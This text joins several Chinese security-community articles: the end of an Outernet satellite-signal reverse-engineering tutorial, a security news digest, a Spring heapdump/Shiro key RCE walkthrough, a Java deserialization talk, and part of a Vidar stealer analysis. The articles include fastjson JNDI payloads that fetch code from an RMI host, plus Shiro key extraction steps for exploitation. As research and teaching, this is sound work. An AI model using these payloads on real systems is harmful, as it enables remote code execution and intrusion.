Radio是如何工作的还会介绍一些我用来逆向信号的工具和技术。这些技术可以同样应用于其他的类型的信号，特别是用于卫星通讯的信号（逆向结束之后，我才知道它使用了现成的卫星广播通讯方式，Datum
Systems M7[8]），你可以在我的博客[9]中找到更多有关于Outernet的信息和其他项目。
处理射频信号的第一步始终都是调整设备的频率和带宽。即使你不知道怎么解调信号，他在瀑布图上，频率和带宽是很明显的。在这里，我使用Scott
Chapman（K4KDR）[10]从 I-4 F3卫星上获取的I/Q数据信号，它在美国上空的广播频率是1539.8725
MHz，我们可以清楚的看见带宽大概是4.8kHz。如果你运行下面的流图，将会看到输出。
我们如果只看这些，基本对信号一无所知，他看起来像一个4.8khz的宽峰噪音，正如 Phil Karn
（KA9Q）[11]所说：“任何一个先进的通讯方案都无法区别噪音。”因为它是一个窄带卫星信号，我们猜测它使用的是PSK方式调制的，但是采用的BPSK还是QPSK？这两种都是有可能的。有一种简单的方式可以猜测PSK的类型而不用把它恢复到星图。这个方法是：首先，我们把信号功率提升到2倍（源信号乘以本身），如果我们发现了直流成分，那么这个是BPSK信号，如果没有，我们提升到4倍，如果这时产生直流成分，那么是QPSK信号。这也适用于高阶PSK信号（不适用于QAM），对于一个M-PSK信号来说，提升一个整数倍m时，会产生直流成分。
你可以看下面的流程，当提升2倍时，出现来直流脉冲，这表明，Outernet是BPSK信号。
下面的任务是获取信号的波特率，有一种叫循环平稳分析的方法可以用来获取信号的波特率。使用延时之后的信号复共轭相乘。最好的解释方式就是看下面的流图。
循环平稳分析的输出显示来一个特定频率下的波特率频率分量，在下面的图中，我们可以看到在4200hz处有分量，这表明，波特率是4.2kbaud。频率图中的高平均是很重要的，否则4200hz的频率分量是很难看到的。
现在，我们知道了波特率，我们可以把它恢复成星图，发现它确实是BPSk信号，有关于PSK的解调[12]，GNU
Radio入门介绍网页[13]有一篇很好的说明。下面，你可以看到我们的BPSK解调器流图和星图，正如预期，这是一个BPSK信号。
Outernet对外所说比特率约为2
kbps，或为20MB每天，而我们分析得到的比特率是4.2kbaud，所以，很有可能它使用了r=1/2正向纠错编码，参数r被称为速率， R = 1 /
2意味着数据流使用了1/2bits用来在接收器中纠正错误位，实际速率只有我们测得速率的一半，也就是2.1kbps。
对于参数是r=1/2的数据，最流行的是使用国际空间数据系统咨询委员会提出的，r=1/2,卷积码K = 7的协议式。针对这种编码的Viterbi解码器在GNU
radio中有相应的模块，叫做“Decode CCSDS 27”。然而，这种编码允许在几个变量上有所更改。我们可以使用Balint
Seeber[14]的Auto FEC[15]监视Viterbi译码器的误码率并尝试不同的组合参数，直到发现一个可以正常使用的组合。 Auto
FEC也可以删余一些数据（超过1/2的部分）。实际上，你很可能不知道它使用了何种删余率，因为变化太多了。
如果想使用Auto FEC，你需要在GNU Radio上打一个补丁，因为 Viterbi 解码器和 “Decode CCSDS
27”模块需要修改以便输出误码率。在这里[16]，你可以找到一个用于GNU Radio当前版本的补丁（3.7.10.1测试版），同样，Auto
FEC需要输入的是QPSK信号，这有一个补丁[17]可以让他与BPSK 信号工作。
从下面的流图，你可以看到Auto FEC的运行和他的输出，Auto FEC在控制台上打印各种组合，以尝试得到正确的参数。在这个输出中，需要注意的是把
“Viterbi swap”设置为true。他的含义是在CCSDS编码这个特定的环境中，多项式的数值是交换的。通常，A决定第一位，B
决定第二位。而在这里，第一位来自B，而第二位来自A。为了抵消这一点，我们需要交换每对数据，再把他们送入CCSDS协议解码器。
现在，我们实现了一个 Viterbi
译码器并检查了它的工作。“Swap”模块是一个自定义的模块，它交换每一对浮点数。对于BPSK信号，我们要把两个Viterbi译码器放在输入流上，
其中一个比另一个延后一个样本，因为我们不知道刚开始捕获数据的时候，是一对数据的第一个还是第二个。
你可能会看到如下的输出，其中metric变量表示Viterbi解码器的误码率，当误码率很低的时候metric变量很高，而且几乎有一个恒定的数值，相反，如果解码器没有工作，metric值会很低，并具有类似随机的值。当然，两个译码器只有一个正常工作。当BPSK解调错过一个值或者插入来一个值，（样本流多了或者少了一个bit），这两个Viterbi解码器的工作状态（是否工作正常）就会交换，如果信号质量好，不应该发生这种情况，在这个过程中，是由于树木在风中的移动干扰来信号。另外一个有趣的尝试是关闭“Swap”模块，这样的话两个Viterbi解码器都不会正常工作了。
现在，我们对Viterbi译码器是否工作很有信心，我们接下来把数据流放入raster图，观察是否使用了扰频器，如果使用了，数据流会看起来随机化，如果没有，我们会看到一些比特流的特有结构，实际上，我们基本已经确定它使用了扰频器，因为我们之前看到的BPSK信号很像噪声，而不是展现BPSK的特有频谱结构。
正如你下面看到的，比特流的出现是随机的，所以我们还需要一个解扰器。
选择正确的解扰器是很困难的，因为我们没有办法去猜测它的算法，如果您知道它使用来那种卫星调制解调器，请尝试它支持的所有算法，如果您不知道，那就尝试所有流行的算法。这一步通常需要大量的试验和错误。然而，如果选用正确来，效果也是很明显的，你可你看到他的输出比特流结构，如果不对，输出还是随机的。
最常用的一种是G3RUH的复数乘法器（它用于9.6kbaud业余无线电组和几个业余卫星），数据可以使用GNU radio中的 “Descrambler”
模块加扰，它使用0x21作为掩码，长度为16 ，这个模块的参数选择很麻烦，详见我的博客。[18]
在这种情况中，G3RUH加扰器是无法工作的。有这样的事实，我们的二进制代码要传递给寄存器进行处理，
sdr100在Outernet的软件中作为sdr接收器，那么，他只可能是基于ARM或者86-64架构上运行的Linux操作系统，而最新的软件版本只对arm进行支持，所以，Outernet上用于接收的部分应该是像树莓派3一样的arm板。
我对x86-64架构下的客户端程序中的sdr100二进制文件进行了逆向，来获取Outernet解扰算法，原来，这是
IESS-30解码器，很显然，这个算法的详细细节在卫星地球站的文档中没有公开。但是，我还是找到了一个文档[19]（见28页），里面的描述有助于我的逆向。
我设计了一个模块用于 IESS-308
解码，您可以在这里[20]看到这个模块的代码。如果你熟悉乘法加扰器，你会发现这个加扰器很普通，但是，它用了一个计数器。
下面的流图可以测试我们的 IESS-308 解码器
输入流显示出了很明显的结构，所以我们有信心，这个解码器是正常的。你可以看到一些白色和青色的水平线，这符合长时间连续二进制0,1传输的特征。这张图中的每行每列的水平线的数量和分布代表着二进制的数据，如果把它们垂直摆放在一条线上，看起来可能更明显，我们会很容易发现什么数据是不改变的（例如报文头）或者改变的（例如数据段）。在这条推文中[21]，你可以看到进行如上工作的一个例子。
下一步工作是解帧，通常，我们可以通过仔细观察比特流来识别帧标记，但是，在这里我们可以通过逆向sdr100二进制代码的方式减轻工作量。sdr100中，有一些函数的名称中含有HDLC，所以我们猜测可能是使用来HDLC帧，我们尝试从数据流中恢复HDLC帧。
GNU Radio中，提供了用于解HDLC帧的模块，但是，我准备用我自己的gr-kiss[22]模块。这个模块的好处是可以去保留CRC码校验错误的数据帧。有的时候，可能一个数据帧只有几个bit是错误的，他就被完全丢弃了。然而，保留CRC校验错误的帧对于逆向协议和分析测试是很有用的。有时候，HDLC帧会有几个bit的错误，那可能是因为干扰或者解码器参数没有优化，也有可能碰巧只有16位的CRC码出现了错误。在这种情况下，保留错误帧也是很有用的。
到现在为止，我们还没有考虑信号的极性，在接受
BPSK信号的时候，你不知到他是一个原始信号还是一个翻转信号（即0,1的互换），是否进行了180度的相位翻转是模糊的，很多时候，采用差分编码来消除这种模糊性。HDLC
可能采用的是NRZ-I，也可能没有采用差分编码，而采用其他方式消除模糊，这又是一个实验和试错的过程。
实际上，Outernet不使用任何一种差分编码，因此我们需要一个正置的数据流和一个反置的数据流，只有一个可以正常工作，但是我们实现不知道是哪一个。（当我们失去信号之后，下一次连接，它可能改变。）
下面是HDLC解帧的流图，“Invert
bit”是一个自定义的模块，他的功能就是进行位翻转。也可以使用程序提供的模块实现这一功能。下面，我把两个HDLC解帧模块连接在数据流上，在其中一个前面进行位翻转。
当我们运行这个流图之后，在控制台上会看到数据帧的出现。因为我们开启了CRC检查，
所以我们确信我们的接收机可以正常工作。毕竟，如果我们在处理的时候有错误，是不可能出现这么多通过CRC校验的数据帧。
我们GNU Radio阶段的任务就完成了，一旦提取了HDLC数据帧，就需要使用free-outernet[23]这个Python脚本进行UDP发送，或者把它们存在一个文件里。free-outernet会回复被传输的文件，它还会打印一些有趣的调试和技术信息。
下面你可以看到脚本可以恢复的两个文件，e89f-messages-0.html.tbz2包含了用于业余无线电的APRS[25]信息，和ed57-amazon.com.html.tbz2，其中包含亚马逊的维基百科网页[26]。大部分的文件是以tbz2压缩格式发送的。另一个有趣的事情是，每分钟，会有一个时间数据包。这用来更新接收器的时钟信号，因为使用的是小型ARM，所以没有真实的时钟或者网络连接。
提取文件后，我们可以在Web浏览器中打开亚马逊的维基百科页面。这页是一个HTML文件，其中包含CSS样式表和图片。它为独立的查看而进行了小尺寸优化，所以所有的超链接已被删除。
对广播文件协议的介绍超出了本文的范围，你可以在我的博客[27]中找到完整的描述。我唯一不能逆向的是使用了应用级FEC的LDPC编码。它可以使接受程序在一些数据帧错误的情况下恢复文件，由于LDPC码的译码没有实现，所以你需要获取一个文件所有的数据帧才能使用我们的脚本恢复，你可以看到github上有关于LDPC的进展[28]。
**参考链接**
[1]<https://outernet.is/>
[2][https://en.wikipedia.org/wiki/L_band](https://en.wikipedia.org/wiki/L_band)
[3][https://en.wikipedia.org/wiki/Inmarsat](https://en.wikipedia.org/wiki/Inmarsat)
[4][https://github.com/Outernet-Project/outernet-linux-lband/blob/master/bin/sdr100-1.0.4](https://github.com/Outernet-Project/outernet-linux-lband/blob/master/bin/sdr100-1.0.4)
[5][http://sdr.osmocom.org/trac/wiki/rtl-sdr](http://sdr.osmocom.org/trac/wiki/rtl-sdr)
[5][http://cgit.osmocom.org/libmirisdr/](http://cgit.osmocom.org/libmirisdr/)
[6][https://github.com/daniestevez/gr-outernet](https://github.com/daniestevez/gr-outernet)
[7][https://github.com/daniestevez/free-outernet](https://github.com/daniestevez/free-outernet)
[8][http://datumsystems.com/m7](http://datumsystems.com/m7)
[9][http://destevez.net/tag/outernet/](http://destevez.net/tag/outernet/)
[10][https://twitter.com/scott23192](https://twitter.com/scott23192)
[11][http://www.ka9q.net/oldquotes.html](http://www.ka9q.net/oldquotes.html)
[12][http://gnuradio.org/redmine/projects/gnuradio/wiki/Guided_Tutorial_PSK_Demodulation](http://gnuradio.org/redmine/projects/gnuradio/wiki/Guided_Tutorial_PSK_Demodulation)
[13][http://gnuradio.org/redmine/projects/gnuradio/wiki/Guided_Tutorials](http://gnuradio.org/redmine/projects/gnuradio/wiki/Guided_Tutorials)
[14][http://spench.net/](http://spench.net/)
[15][http://wiki.spench.net/wiki/Gr-baz#auto_fec](http://wiki.spench.net/wiki/Gr-baz#auto_fec)
[16][https://gist.github.com/daniestevez/79f6f9971e1c6f883cb67a2989ba33e6](https://gist.github.com/daniestevez/79f6f9971e1c6f883cb67a2989ba33e6)
[17][https://gist.github.com/daniestevez/70d570292493daac33efb1767fc478ed](https://gist.github.com/daniestevez/70d570292493daac33efb1767fc478ed)
[18][http://destevez.net/2016/05/scramblers-and-their-implementation-in-gnuradio/](http://destevez.net/2016/05/scramblers-and-their-implementation-in-gnuradio/)
[19][http://www.etsi.org/deliver/etsi_etr/100_199/192/01_60/etr_192e01p.pdf](http://www.etsi.org/deliver/etsi_etr/100_199/192/01_60/etr_192e01p.pdf)
[20][https://github.com/daniestevez/gr-outernet/blob/master/lib/descrambler308_impl.cc#L72](https://github.com/daniestevez/gr-outernet/blob/master/lib/descrambler308_impl.cc#L72)
[21][https://twitter.com/ea4gpz/status/786518040141717505](https://twitter.com/ea4gpz/status/786518040141717505)
[22][https://github.com/daniestevez/](https://github.com/daniestevez/gr-kiss)[g](https://github.com/daniestevez/gr-kiss)[r-k](https://github.com/daniestevez/gr-kiss)[iss](https://github.com/daniestevez/gr-kiss)
[23]<https://github.com/daniestevez/free-outernet>
[24]<http://www.ax25.net/kiss.aspx>
[25] [http://aprs.org/outnet.html](http://aprs.org/outnet.html)
[26]<https://en.wikipedia.org/wiki/Amazon.com>
[27]<http://destevez.net/2016/10/reverse-engineering-outernet-time-and-file-services/>
[28]<https://github.com/daniestevez/free-outernet/issues/1> | 社区文章 |
# 【知识】10月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：微软要求上市公司使用正版办公软件、 ** ** **苹果从中国应用商店下架RSS类应用****** 、
**微软Windows10加入反勒索软件特性** 、 ** **全食市场确认超过100个地区的用户受到了信息泄露的影响**** 、 **
**模糊了就完了？针对模糊的二维码逆推**** 、每周攻击一览——DUHK攻击。**
****
**国内热词（以下内容部分来自：http://www.solidot.org/）**
微软要求上市公司使用正版办公软件
苹果从中国应用商店下架RSS类应用
****
**资讯类：**
微软Windows10加入反勒索软件特性
<https://www.bleepingcomputer.com/news/microsoft/windows-10s-controlled-folder-access-anti-ransomware-feature-is-now-live/>
全食市场确认超过100个地区的用户受到了信息泄露的影响
<http://securityaffairs.co/wordpress/64661/data-breach/whole-foods-market-card-breach.html>
**技术类：**
“网络冲突”主题用在真正的网络冲突中作诱骗文件
<http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html>
模糊了就完了？针对模糊的二维码逆推！
<https://medium.freecodecamp.org/lets-enhance-how-we-found-rogerkver-s-1000-wallet-obfuscated-private-key-8514e74a5433>
恶意软件分析资源与工具列表
<https://github.com/recodeking/MalwareAnalysis>
每周攻击一览——DUHK攻击
<https://blog.cryptographyengineering.com/2017/10/23/attack-of-the-week-duhk/>
iOS沙盒与利用
<https://github.com/dineshshetty/iOS-SandBox-Dumper>
ADV170014利用指南
<http://www.sysadminjd.com/adv170014-ntlm-sso-exploitation-guide/>
Pwn2win 2017：Shift Register介绍
<http://blog.dragonsector.pl/2017/10/pwn2win-2017-shift-register.html>
WAF与静态统计分析
<http://blog.ptsecurity.com/2017/10/do-wafs-dream-of-static-analyzers.html>
反射PE打包：新的打包方式介绍
<https://pentest.blog/introducing-new-packing-method-first-reflective-pe-packer/>
Bad Rabbit勒索软件出现
<https://securelist.com/bad-rabbit-ransomware/82851/> | 社区文章 |
## 1\. 简介
我搭建了一个Spring heapdump泄露shiro
key从而RCE的漏洞环境，Github地址：<https://github.com/P4r4d1se/heapdump_shiro_vuln>
漏洞利用条件：
* Spring Shiro环境
* 存在heapdump文件泄露
* 存在可利用链
## 2\. 漏洞原理
Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了，这里不再赘述，这里主要针对这个漏洞环境进行说明：
（1）Spring其实是有自己默认安全框架的，叫Spring Security，但可能有的开发用Shiro用习惯了，将Spring
Securiy替换成了Shiro，这种情况并不少见，比如若依就是Spring shiro。
（2）在有key的情况下，即使是最新版的Shiro也一样存在漏洞，而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。
（3）Shiro大于1.2.4的版本中，在没有开发人员人工干预的情况下key改为了随机生成，这个随机生成是在每次启动Web环境的时候，重启前这个key不会改变，可以在JVM虚拟机内存里找到。
（4）Spring的heapdump文件就是从JVM虚拟机内存导出的。
综上所述导致了这个组合漏洞的产生。
## 3\. 漏洞演示
加载漏洞环境后，可以看到Shiro版本为1.8.0：
访问8080端口的/actuator/heapdump获取heapdump文件：
获取其中的shiro key，我常用的有两种方式：
（1）JDumpSpider：<https://github.com/whwlsfb/JDumpSpider>
这个小工具可以自动爬取heapdump中的变量信息，比较方便，坏处是可能会漏掉没在爬取列表中的信息。
直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息，这里获取到ShiroKey：
（2）jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
这个工具需要手动去找想要的信息，在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager，圈出来的16个字节的值就是key：
用一个Python小脚本转成base64编码后的Shiro key：
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))
使用获得的key进行利用成功：
重新启动服务器再次获取shiro key，可以看到key改变了，验证了漏洞原理的第3点，每次启动生成一个随机key：
改用新的key仍然可进行利用： | 社区文章 |
作者：廖新喜
公众号：[廖新喜](https://mp.weixin.qq.com/s/ohga7Husc9ke5UYuqR92og "廖新喜")
### 1 议题和个人介绍
#### 1.1 议题概述
2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。
#### 1.2 个人简介：
本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic
CVE-2018-2628就是一个。
个人博客：xxlegend.com
### 2 反序列化入门
序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle
使用场景:
* http参数，cookie，sesion，存储方式可能是base64（rO0），压缩后的base64（H4sl），MII等
* Servlets HTTP，Sockets，Session管理器 包含的协议就包括JMX，RMI，JMS，JNDI等（\xac\xed）
* xml Xstream,XMLDecoder等（HTTP Body：Content-Type:application/xml）
* json(Jackson，fastjson) http请求中包含
反序列攻击时序图:
常见的反序列化项目：
* Ysoserial 原生序列化PoC生成
* Marshalsec 第三方格式序列化PoC生成
* Freddy burp反序列化测试插件
* Java-Deserialization-Cheat-Sheet
### 3 fastjson
#### 3.1 简介
Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序
快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
Fastjson PoC分类
主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo：<https://github.com/shengqi158/fastjson-remote-code-execute-poc>
fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。
#### 3.2 fastjson最近的几个经典漏洞
下面这段代码是fastjson用来自定义loadClass的实现
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
首先我们来看一个经典的PoC，`{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","
"autoCommit":true}`,关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是
`Lcom.sun.rowset.RowSetImpl;`,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 `L`和最后一个字符
`；`吧，果不其然，在官方的修补方案中，如果以 `L`打头，
`；`结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是
`LLcom.sum.rowset.RowSetImpl;;`,细心的读者还会看到loadClass的第一个if判断中还有
`[`打头部分，所以就又有了1.2.43的绕过方法是 `[com.sun.rowset.RowSetImp.`
在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下:
`{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}`，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。
### 4 weblogic
Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic
Server Java EE 应用基于标准化、模块化的组件，WebLogic Server
为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：
#### CVE-2015-4852
基于T3
* 新的攻击面
* 基于commons-collections
* 采用黑名单修复
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
* 作用位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
#### CVE-2016-0638
首先来看下漏洞位置，在readExternal位置，
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
再来看看补丁，加了一个FilteringObjectInputStream过滤接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的实现如下：
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
其实就是在resolveClass位置加了一层黑名单控制。
#### 基于XMLDecoder
* CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞
* CVE-2017-10271 是3506的绕过
* 都是挖矿主力军
* 基于http协议 详细解读可参考我的博客：<http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/>
#### CVE-2017-3248
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
CVE-2017-3248
这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。
#### CVE-2018-2628
这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。
* 完美绕过CVE-2017-3248
* 基于StreamMessage封装
* 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
* Proxy非必须项
攻击示意图如下：
简单分析可见：http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
### 5 反序列化防御
#### 5.1 Weblogic防御
* 过滤T3协议，限定可连接的IP
* 设置Nginx反向代理，实现t3协议和http协议隔离
* JEP290（JDK8u121，7u131，6u141），这个机制主要是在每层反序列化过程中都加了一层黑名单处理，黑名单如下：
黑名单：
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*
当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。
#### 5.2 原生反序列化防御
* 不要反序列化不可信的数据
* 给反序列数据加密签名，并确保解密在反序列之前
* 给反序列化接口添加认证授权
* 反序列化服务只允许监听在本地或者开启相应防火墙
* 升级第三方库
* 升级JDK，JEP290
#### 6 招人
绿盟科技Web攻防实验室欢迎各位应聘，招聘大牛和实习生。团队专注于最前沿的Web攻防研究，大数据分析，前瞻性攻击与检测预研.
联系邮箱： liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com
* * * | 社区文章 |
# Vidar窃密木马分析（下）
|
##### 译文声明
本文是翻译文章，文章原作者 fumik0，文章来源：fumik0.com
原文地址：<https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
接着上文，继续对Vidar窃密木马进行介绍。
## 硬件
通过注册表项的值来获取硬件名称：
HKEY_LOCAL_MACHINE HARDWARE DESCRIPTION SYSTEM CentralProcessor ProcessorNameString
## 网络
网络部分的实现很简单，通过将从 **ip-api.com/line/** 获取的数据进行转换，然后放入相应的日志中即可。
## 进程
当Vidar运行后，将结合多个函数，来对正在运行的进程进行快照。
当然，实现的步骤不难理解：
* 先调用[CreateToolhelp32Snapshot](https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot)来获取所有已执行进程的完整快照，再使用[Process32First](https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-process32first)在循环中读取每个进程。
然后检查该进程是父进程还是子进程，并获取 **PROCESSENTRY32** 对象的以下2个值：
* th32ProcessID: PID
* szExeFile: The name of the PE
## 软件
通过注册表项的值来获取系统已安装的软件：
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall
它将对系统软件的以下2个值进行检索：
* DisplayName
* DisplayVersion
## 结果
如果你想看最终执行结果，可以参考下面在[沙箱中运行](https://app.any.run/tasks/b439a1fd-fb62-4451-b9d4-d4a4597e3dfd)后生成的 information.txt（此处为Vidar 4.2版本）
Vidar Version: 4.2
Date: Thu Dec 13 14:39:05 2018
MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f
GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}
Path: C:UsersadminAppDataLocalTemptoto.exe
Work Dir: C:ProgramDataLDGQ3MM434V3HGAR2ZUK
Windows: Windows 7 Professional [x86]
Computer Name: USER-PC
User Name: admin
Display Resolution: 1280x720
Display Language: en-US
Keyboard Languages: English (United States)
Local Time: 13/12/2018 14:39:5
TimeZone: UTC-0
[Hardware]
Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4
RAM: 3583 MB
VideoCard: Standard VGA Graphics Adapter
[Network]
IP: 185.230.125.140
Country: Switzerland (CH)
City: Zurich (Zurich)
ZIP: 8010
Coordinates: 47.3769,8.54169
ISP: M247 Ltd (M247 Ltd)
[Processes]
- System [4]
---------- smss.exe [264]
- csrss.exe [344]
< ... >
[Software]
Adobe Flash Player 26 ActiveX [26.0.0.131]
Adobe Flash Player 26 NPAPI [26.0.0.131]
Adobe Flash Player 26 PPAPI [26.0.0.131]
< ... >
## Loader模块
这个模块在代码实现上比较简单，但完成功能绰绰有余。
* 1.为即将下载的payload生成随机名称
* 2.下载payload
* 3.执行payload
当从C2下载完二进制文件时，将使用具有特定参数的[CreateFileA](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createfilea)函数：
* **edi：** 从C2下载的数据
* **80h：** 文件没有设置其他属性（此属性仅在单独使用时才有效）
* **2：** 若文件名已存在，此选项将强制覆盖
* **edi：**???
* **1*：** 在接下里的操作中，访问设备或文件，需要读权限。除此之外，进程无法访问需要读权限的文件或设备
* **40000000h：** 写入权限（GENERIC_WRITE）
* **ebp + lpFileName：** 生成的文件名
完成后，只需要将内容写入文件(WriteFile)，然后关闭相应句柄 (CloseHandle)即可。
